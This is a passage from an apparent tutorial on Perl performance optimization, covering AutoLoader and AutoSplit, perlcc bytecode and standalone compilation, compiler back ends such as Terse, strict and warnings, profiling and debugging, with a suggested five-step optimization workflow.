If $userchoice is a true value, Perl doesn't even look at the other variables. If $userchoice is false (see Table 1), then Perl checks the value of $systemchoice and so on until it gets to the last value, which is always used, whether it's true or not.

Table 1. $userchoice values

Value Logical value
Negative numberTrue
ZeroFalse
Positive numberTrue
Empty stringFalse
Non-empty stringTrue
Undefined valueFalse
Empty list (including hashes)False
List with at least one element (including hashes)True

Use AutoLoader

One of the most expensive portions of the execution of a Perl script is the compilation of source code into the bytecode that is actually executed. On a small script with no external modules, the process takes milliseconds. But start to include a few of your own external modules and the time increases. The reason is that Perl does little more with a module than importing the text and running it through the same compilation stage. That can turn your 200 line script into a 10,000 or 20,000 line script very quickly. The result is that you increase the initial stages of the compilation process before the script even starts to do any work.

During the normal execution of your script, it may be that you only use 10 percent, or even 5 percent, of all the functions defined in those modules. So why load them all when you start the script? The solution is to use AutoLoader, which acts a bit like a dynamic loader for Perl modules. This uses files generated by the AutoSplit system, which divides up a module into the individual functions. When you load the module through use, all you do is load the stub code for the module. It's only when you call a function contained within the module that the AutoLoader steps in and then loads and compiles the code only for that function. The result is that you convert that 20,000 line script with modules back into a 200-line script, speeding up the initial loading and compilation stages.

I've saved as much as two seconds just by converting one of my applications to use the AutoLoader system in place of preloading. It's easy to use by just changing your modules from the format shown in Listing 8 to that shown in Listing 9, and then making sure to use AutoSplit to create the loading functions you need. Note that you don't need to use Exporter any more; AutoLoader handles the loading of individual functions automatically without you have to explicitly list them.


Listing 8. A standard module
package MyModule;

use OtherModule;
require 'Exporter';
@EXPORT = qw/MySub/;

sub MySub
{
...
}

1;




Listing 9. An autoloading module
package MyModule;

use OtherModule;
use AutoLoader 'AUTOLOAD';

1;

__END__

sub MySub
{
...
}

The main difference here is that functions you want to autoload are no longer defined within the module's package space but in the data section at the end of the module (after the __END__ token). AutoSplit will place any functions defined here into the special AutoLoader files. To split up the module, use the following command line:

perl -e 'use AutoSplit; autosplit($ARGV[0], $ARGV[1], 0, 1, 1)' MyModule.pm auto


Using bytecode and the compiler back ends

There are three ways to use the compiler: bytecode production, full compilation, or simply as a debugging/optimizing tool. The first two methods rely on converting your original Perl source into its compiled bytecode form and storing this precompiled version for execution. This is best used through the perlcc command. These two modes follow the same basic model but produce the final result differently. In bytecode mode, the resulting compiled bytecode is written out to another Perl script. The script consists of the ByteLoader preamble, with the compiled code stored as a byte string. To create this bytecode version, use the -B option to the perlcc command. For example:

$ perlcc -B script.pl

This will create a file, a.out. The output, however, is not very Web friendly. The resulting file can be executed with any Perl executable on any platform (Perl bytecode is platform independent):

$ perl a.out

What this does is save Perl from having to compile the script from its source code into the bytecode each time. Instead, it just runs the bytecode that was generated. This is similar to the process behind Java compilation and is in fact that same one-step away from being a truly compiled form of the language. On short scripts, especially those that use a number of external modules, you probably won't notice a huge speed increase. On larger scripts that "stand alone" without a lot of external module use, you should see a noticeable improvement.

The full compilation mode is almost identical, except that instead of producing a Perl script with the compiled bytecode embedded in it, perlcc produces a version embedded into C source that is then compiled into a full-blown, standalone executable. This is not cross-platform compatible, but it does allow you to distribute an executable version of a Perl script without giving out the source. Note, however, that this doesn't convert the Perl into C, it just embeds Perl bytecode into a C-based application. This is actually the default mode of perlcc, so a simple: $ perlcc script.pl will create, and compile, a standalone application called a.out.

One of the lesser-known solutions for both debugging and optimizing your code is to use the Perl compiler with one of the many "back ends."

The back ends are actually what drive the perlcc command, and it's possible to use a back-end module directly to create a C source file that you can examine. The Perl compiler works by taking the generated bytecode and then outputting the results in a variety of different ways. Because you're looking at the opcodes generated during the compilation stage, you get to see the code after Perl's own internal optimizations have been applied. Providing you know the Perl opcodes, you can begin to identify where the potential bottlenecks might be. From a debugging perspective, go with back ends such as Terse (which is itself a wrapper on Concise) and Showlex. You can see in Listing 10 what the original Listing 1 looks like through the Terse back end.


Listing 10. Using Terse to study bytecode
LISTOP (0x306230) leave [1]
OP (0x305f60) enter
COP (0x3062d0) nextstate
BINOP (0x306210) sassign
SVOP (0x301ab0) const [7] PV (0x1809f9c) "abcdefghijklmnopqrstuvwxyz"
OP (0x305c30) padsv [1]
COP (0x305c70) nextstate
BINOP (0x305c50) sassign
SVOP (0x306330) const [8] PV (0x180be60) ""
OP (0x306310) padsv [2]
COP (0x305f20) nextstate
BINOP (0x305f00) leaveloop
LOOP (0x305d10) enteriter [3]
OP (0x305cf0) null [3]
UNOP (0x305cd0) null [141]
OP (0x305e80) pushmark
SVOP (0x3065d0) const [9] IV (0x180be30) 1
SVOP (0x3065f0) const [10] IV (0x1801240) 999999
UNOP (0x305ee0) null
LOGOP (0x305ec0) and
OP (0x305d50) iter
LISTOP (0x305e60) lineseq
COP (0x305e10) nextstate
BINOP (0x305df0) concat [6]
OP (0x305d70) padsv [2]
OP (0x305dd0) padsv [1]
OP (0x305ea0) unstack
concat1.pl syntax OK


Other tools

What I've covered here looks entirely at the code that makes up your applications. While that's where most of the problems will be, there are tools and systems you can use that can help identify and locate problems in your code that might ultimately help with performance.

Warnings/strict execution

It's a common recommendation, but it really can make a difference. Use the warnings and strict pragmas to ensure nothing funny is going on with variable use, typos, and other inconsistencies. Using them in all your scripts will help you eliminate all sorts of problems, many of which can be the source of performance bottlenecks. Common faults picked up by these pragmas are ambiguous references and de-references, use of undefined values, and some help identifying typos for unused or undefined functions.

All of this help, though, comes at a slight performance cost. I keep warnings and strict on while programming and debugging, and I switch it off once the script is ready to be used in the real world. It won't save much, but every millisecond counts.

Profiling

Profiling is a useful tool for optimizing code, but all it does is identify the potential location of the problem; it doesn't actually point out what the potential issue is or how to resolve it. Also, because profiling relies on monitoring the number of executions of different parts of your application it can, on occasion, give misleading advice about where a problem lies and the best approach for resolving it.

However, profiling is still a useful, and often vital, part of the optimization process. Just don't rely on it to tell you everything you need to know.

Debugging

To me, a badly optimized program means that it has a bug. The reverse is also true: bugs often lead to performance problems. Classic examples are badly de-referenced variables or reading and/or filtering the wrong information. It doesn't matter whether your debugging technique involves using print statements or the full-blown debugger provided by Perl. The sooner you eliminate the bugs, the sooner you will be able to start optimizing your application.


Putting it all together

Now that you know the techniques, here is the way to go about using them together to produce optimized applications. I generally follow this sequence when optimizing:

  1. Write the program as optimized as possible using the techniques above. Once you start to use them regularly, they become the only way you program.
  2. Once the program is finished or at least in a releasable state, go through and double check that you are using the most efficient solution by hand by reading the code. You'll be able to spot a number of issues just by re-reading, and you might pick up a few potential bugs, too.
  3. Debug your program. Bugs can cause performance problems, so you should always eliminate the bugs first before doing a more intense optimization.
  4. Run the profiler. I always do this once on any serious application, just to see if there's something -- often obvious -- that I might have missed.
  5. Go back to step 1 and repeat. I've lost track of the number of times I've completely missed a potential optimization the first time around. Either I'll go back and repeat the process two or three times in one session, or I'll leave, do another project, and return a few days, weeks, or months later. Weeks and months after, you'll often have found an alternative way of doing something that saves time.

At the end of the day, there is no magic wand that will optimize your software for you. Even with the debugger and profiler, all you get is information about what might be causing a performance problem, not necessarily any helpful advice on what you should do to fix it. Be aware as well that there is a limit to what you can optimize. Some operations will simply take a lot of time to complete. If you have to work through a 10,000-item hash, there's no way of simplifying that process. But as you've seen, there might be ways of reducing the overhead in each case.